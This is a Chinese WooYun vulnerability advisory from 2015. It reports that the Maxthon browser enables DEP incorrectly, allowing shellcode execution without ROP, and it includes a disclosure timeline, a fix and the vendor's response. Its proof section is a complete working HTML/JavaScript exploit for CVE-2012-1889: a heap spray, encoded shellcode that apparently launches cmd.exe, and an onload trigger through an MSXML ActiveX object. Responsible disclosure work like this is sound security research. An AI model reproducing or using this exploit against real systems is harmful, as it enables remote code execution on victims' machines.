当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121155

漏洞标题:遨游浏览器数据执行保护漏洞导致任意代码可执行(有条件)

相关厂商:傲游

漏洞作者: 路人甲

提交时间:2015-06-17 16:09

修复时间:2015-09-17 11:04

公开时间:2015-09-17 11:04

漏洞类型:远程代码执行

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-17: 细节已通知厂商并且等待厂商处理中
2015-06-19: 厂商已经确认,细节仅向厂商公开
2015-06-22: 细节向第三方安全合作伙伴开放
2015-08-13: 细节向核心白帽子及相关领域专家公开
2015-08-23: 细节向普通白帽子公开
2015-09-02: 细节向实习白帽子公开
2015-09-17: 细节向公众公开

简要描述:

遨游浏览器DEP开启有误,导致漏洞触发后,无需借助ROP、无需绕过ASLR即可实现shellcode在无可执行属性的内存空间中运行。在windows7等高版本操作系统上,虽然操作系统自身提供了很多漏洞缓解措施,但遨游浏览器却没有正确使用,依然存在该问题。

详细说明:

系统版本:windows 7,IE8,未打补丁
maxthon.exe版本:4.4.5.3000
使用历史漏洞作为例证: CVE-2012-1889
通过IE打开该poc,由于IE8默认开启了DEP,所以会崩溃。
但在maxthon兼容模式下,能够成功执行shellcode,无需使用ROP绕过DEP。
漏洞触发效果:

exp.jpg

漏洞证明:

<html>
<meta http-equiv="Cache-Control" content="no-cache"/>
<head>
<script>
var arr = new Array();
function Alloc(str, bytes)
{
while(str.length < bytes/2)
{
str += str;
}

return str.substring(0, (bytes-0x1026)/2);
}
function Spray()
{
var head = "\u180c\u0fe8\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u1828\u0fe8";
var blockBytes = 0x1000;
var shellcode = "\u9090\uec8b\uec81\u0100\u0000\ua164\u0030\u0000\u588b\u8b08\u81f3\u6cc6\u0130\u8b00\u8936\u08b5\uffff\u64ff\u30a1\u0000\u8b00\u0c58\u438b\u8b0c\u8b00\u8b00\u1858\u45c7\u57b0\u6e69\uc745\ub445\u6578\u0063\u758d\u56b0\uff53\u0895\uffff\u89ff\u0c85\uffff\uc7ff\uc445\u6d63\u2e64\u45c7\u65c8\u6578\u6a00\u8d01\uc475\uff56\u0c95\uffff\u00ff";

var padding = "\u9090\u9090";
while(padding.length < blockBytes/2)
{
padding = padding + padding;
}

var block = padding.substring(0, 0x3f2) + head + shellcode + padding.substring(0, blockBytes/2 - 0x3f2 - head.length - shellcode.length);

var large = Alloc(block, 0x100000);

for(var k = 0; k < 200; ++k)
{
arr[k] = large.substring(0, large.length);
}
}

function call()
{
Spray();
var obj = document.getElementById('poc').object;
var src = unescape("%u1808%u0fe8");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
}
</script>
</head>
<body onload='call();'>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
</body>
</html>

修复方案:

对自身所有进程正确开启DEP

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-06-19 11:03

厂商回复:

难直接利用

最新状态:

暂无


漏洞评价:

评论